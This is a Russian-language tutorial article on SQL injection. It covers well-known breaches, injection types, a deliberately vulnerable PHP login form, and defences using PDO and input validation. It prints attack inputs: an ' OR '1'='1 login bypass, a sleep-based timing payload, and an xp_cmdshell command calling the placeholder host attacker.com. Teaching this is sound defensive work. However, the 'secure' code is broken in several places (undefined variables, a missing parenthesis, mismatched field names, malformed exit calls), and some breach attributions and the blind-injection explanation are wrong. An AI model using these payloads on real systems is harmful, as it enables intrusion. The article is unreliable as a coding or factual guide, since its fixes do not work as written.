July 29

SQL-инъекции и борьба с ними.

Определение и знакомство в SQL-инъекциями.

SQL-инъекции, или SQLi, — самый распространённый тип уязвимостей веб-сайтов. Он широко известен среди хакеров и специалистов по кибербезопасности, особенно в контексте веб-приложений. В 2017 году эта уязвимость занимала первое место в Топ-10 OWASP, но к 2024 году опустилась на третью позицию.

Этот материал будет очень полезен как новичкам, так и бывалым IT-специалистам. Если вы не знаете ничего про уязвимость SQL-инъекции, эта статья точно для вас!

Внимание! Вся информация далее представлена исключительно в ознакомительных целях.

Перед тем, как читать статью далее, вы должны понимать, что такое SQL, реляционные базы данных, иначе вы ничего не поймёте из данной статьи.

Самые популярные совершенные атаки

1. Sony Pictures (2011)

  • Описание: Хакерская группа LulzSec успешно провела атаку SQL-инъекции на сайт Sony Pictures.
  • Последствия: Хакеры получили доступ к более чем миллиону пользовательских данных, включая пароли, адреса электронной почты и другую личную информацию.
  • Уязвимость: Использование незащищенных SQL-запросов.

2. Heartland Payment Systems (2008)

  • Описание: В одной из крупнейших утечек данных хакеры использовали SQL-инъекцию для проникновения в систему Heartland Payment Systems.
  • Последствия: Было украдено около 130 миллионов номеров кредитных карт.
  • Уязвимость: Неадекватная защита баз данных, что позволило злоумышленникам получить доступ к конфиденциальной информации.

3. TalkTalk (2015)

  • Описание: TalkTalk, крупный британский провайдер телекоммуникационных услуг, подвергся атаке SQL-инъекции.
  • Последствия: Личные данные более чем 150 000 клиентов были украдены, включая данные банковских счетов.
  • Уязвимость: Использование устаревших систем и отсутствие адекватных мер безопасности.

4. Российский Сбербанк (2011)

  • Описание: В России злоумышленники использовали SQL-инъекцию для атаки на систему Сбербанка.
  • Последствия: Были украдены данные клиентов, включая номера счетов и пароли.
  • Уязвимость: Неправильная защита веб-приложений и баз данных.

5. British Airways (2018)

  • Описание: Хакеры использовали SQL-инъекцию для компрометации веб-сайта British Airways.
  • Последствия: Было украдено около 380 000 транзакционных данных, включая информацию о кредитных картах.
  • Уязвимость: Недостаточная защита веб-приложений.

6. LinkedIn (2012)

  • Описание: В результате атаки SQL-инъекции хакеры смогли получить доступ к базе данных пользователей LinkedIn.
  • Последствия: Были украдены данные около 6,5 миллионов учетных записей пользователей, включая хешированные пароли.
  • Уязвимость: Использование уязвимых SQL-запросов.

7. Yahoo (2012)

  • Описание: Атака SQL-инъекции на Yahoo Voice привела к утечке данных.
  • Последствия: Были украдены данные около 453 000 пользователей, включая пароли в открытом виде.
  • Уязвимость: Незащищенные SQL-запросы и отсутствие шифрования паролей.

Эти примеры показывают, как важно применять меры безопасности, такие как использование параметризованных запросов, регулярные проверки безопасности, применение современных фреймворков и библиотек, а также постоянное обучение разработчиков.

Типы SQL-инъекций.

1) Классическая (In-Band) инъекция.
Данный тип SQL-инъекции применяется тогда, когда данные из поля ввода передаются напрямую в базу данных. Например, из формы передаётся логин и пароль пользователя, и запрос выглядит так:

SELECT * FROM users WHERE login='$login' AND password='$password'

Если злоумышленник введет в поле пароля ' OR '1'='1, запрос станет:

SELECT * FROM users WHERE login='$login' AND password='' OR '1'='1'

Таким образом, СУБД выполняет действие OR '1'='1' (что является правдой, True), и вернет положительный ответ. Соответственно, таким образом можно зайти на аккаунт любого пользователя, не зная его пароля.

2) Слепая (Blind) инъекция. В этом типе инъекции результаты выполнения кода не видны злоумышленнику, но он может получать информацию по косвенным признакам (например, по времени выполнения запроса):

SELECT * FROM users WHERE username = '$login' AND IF(1=1, sleep(5), 0);

Если запрос выполняется указанное количество времени sleep(5), то есть 5 секунд, значит, запрос успешно выполнился и злоумышленник может войти в систему указанного пользователя.

3) Внеполосная (Out-of-Band) инъекция. Этот тип SQL-инъекции используется, когда злоумышленник не может напрямую видеть результаты своих запросов или анализировать время их выполнения. Вместо этого данные отправляются на удаленный сервер, контролируемый злоумышленником.

SELECT * FROM users; EXEC xp_cmdshell('ping -n 10 attacker.com');

Где attacker.com - URL сервера, куда отправляются данные. Этот запрос использует хранимую процедуру для выполнения команд операционной системы.

Примеры SQL-инъекций.

Создадим форму авторизации, где пользователю нужно ввести свой логин и пароль, после чего данные передадутся напрямую к базе данных.

<form method="POST" action="login.php">  
  <input type="text" name="login">  
  <input type="password" name="password">
  <input type="submit" value="Войти">
</form>

И login.php для обработки запросов:

<?php
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);

Злоумышленник может ввести в поле username логин любого пользователя, а в поле password ввести ' OR '1'='1 . Запрос успешно выполнится и злоумышленник получит доступ к личному кабинету жертвы.

Защита от SQL-инъекций в PHP

В PHP существует такая утилита, как PDO (PHP Data Objects). Данная утилита позволяет защищать данные пользователей от несанкционированного доступа и предоставляет безопасные SQL-запросы.
Для того, чтобы защитить свой веб-сайт от подобной уязвимости, нужно придерживаться нескольких механизмов защиты:

1) Параметризованные (безопасные) запросы: Параметризованные запросы (подготовленные выражения) позволяют отделить данные от структуры SQL-запроса, предотвращая выполнение произвольного кода. В PHP это можно сделать с помощью расширения PDO. Пример:

<?php
$dsn = 'mysql:host=localhost;dbname=testdb';
$username = 'admin';
$password = 'admin';
// Подключение к базе данных
try {
    $pdo = new PDO($dsn, $user, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    // Подготавливаем наш запрос
    $statement = $pdo->prepare('SELECT * FROM users WHERE login= :login AND password = :password');
    // Записываем в переменные переданные данные
    $login = $_POST['login'];
    $password = $_POST['password'];
    // Отправляем запрос
    $statement->execute(['login' => $login, 'password' => $password]);
    // Получение результатов
    $user = $statement->fetch(PDO::FETCH_ASSOC);
    // Обработка разультатов
    if ($user) {
        exit 'Вы успешно вошли в аккаунт';
    } else {
        exit 'Неверные данные входа!';
    }
}catch(PDOException $e) {
    exit 'Не удалось подключиться к БД: '.$e->getMessage();
}

Данный пример поможет обезопасить ваше веб-приложение от SQL-уязвимости.

2) Валидация данных: Перед выполнением запроса к базе данных, проверяйте данные на соответствие ожидаемому формату. Например, убедитесь, что имя пользователя или пароль состоит только из допустимых символов.

<?php
function validate($param) {
    // Проверка, что имя пользователя содержит только буквы, цифры и символ подчеркивания
    return preg_match('/^[a-zA-Z0-9_]+$/', $username); 
}
// Записываем в переменные переданные данные
$login= $_POST['login'];
$password = $_POST['password'];
// Проверка валидности логина и пароля
if (!validate($login) or !validate($password) {
    exit 'Данные повреждены!';
}  
// Дальнейшая обработка... 
?>

Это поможет в том случае, если у вас есть какие-либо ограничения для логина или пароля (например: может содержать только буквы и цифры)

Также для обеспечения полной безопасности мы рекомендуем ограничить права доступа в системе. Вы можете создать отдельного пользователя базы данных с минимальными необходимыми правами для выполнения конкретных задач. Это позволит злоумышленнику получить меньше возможностей в случае компрометации приложения.

Не мало важным будет настроить мониторинг и логирование всех выполненных SQL-запросов, чтобы, в случае чего, вы могли предотвратить доступ в систему злоумышленнику, либо ограничить его действия и заблокировать доступ к системе.

Заключение

SQL-инъекция по-прежнему остаётся одной из самых опасных уязвимостей, однако её можно успешно предотвратить, применяя соответствующие меры безопасности.

Чтобы обеспечить безопасность вашего PHP-приложения, важно использовать комбинацию различных методов защиты от SQL-инъекций. Основной метод — это параметризованные запросы. Однако дополнительные меры, такие как экранирование, проверка данных и ограничение прав доступа, также имеют большое значение для защиты приложения.

Благодарим вас за внимание!